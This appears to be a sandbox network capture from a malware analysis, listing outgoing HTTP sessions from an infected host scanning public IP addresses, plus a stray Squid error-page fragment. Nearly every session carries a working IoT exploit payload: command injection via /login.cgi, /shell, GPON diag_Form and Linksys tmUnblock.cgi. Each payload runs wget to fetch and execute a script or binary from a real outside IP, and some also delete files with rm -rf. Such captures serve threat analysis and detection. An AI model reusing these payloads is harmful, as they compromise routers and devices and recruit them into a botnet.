67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.23	38046	74.208.131.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.975661993 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:45.618530035 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.387063026 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.507812977 CET	151	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:18:45 GMT Connection: close
Mar 21, 2024 05:18:46.507977009 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.23	40240	89.187.173.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.979016066 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:45.112974882 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.23	51448	216.21.242.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.154069901 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:45.266860008 CET	148	IN	HTTP/1.0 301 Moved Permanently Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0
Mar 21, 2024 05:18:46.266608953 CET	148	IN	HTTP/1.0 301 Moved Permanently Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.23	44986	54.86.60.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.255048037 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:45.388163090 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.23	58342	212.0.105.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.295152903 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:45.874515057 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.994966984 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:49.202068090 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:53.809501886 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.23	51094	212.89.14.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308156013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.23	42708	178.188.127.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308173895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.23	55374	79.36.211.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308206081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.23	44330	178.46.179.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308207035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.23	39528	210.98.137.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308245897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.23	51910	212.45.237.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308283091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.23	49610	79.25.228.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308315039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.23	43950	210.197.227.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308326960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.23	33228	2.111.16.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308358908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.23	52232	118.100.251.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308391094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.23	47052	79.100.189.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308481932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.23	54354	42.66.117.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308481932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.23	56924	42.204.143.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308566093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.23	50068	5.220.103.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308573961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.23	58758	37.63.70.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308582067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.23	47516	212.201.13.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308608055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1146	192.168.2.23	39004	210.39.100.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.308666945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1147	192.168.2.23	55134	172.65.117.142	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.392950058 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: 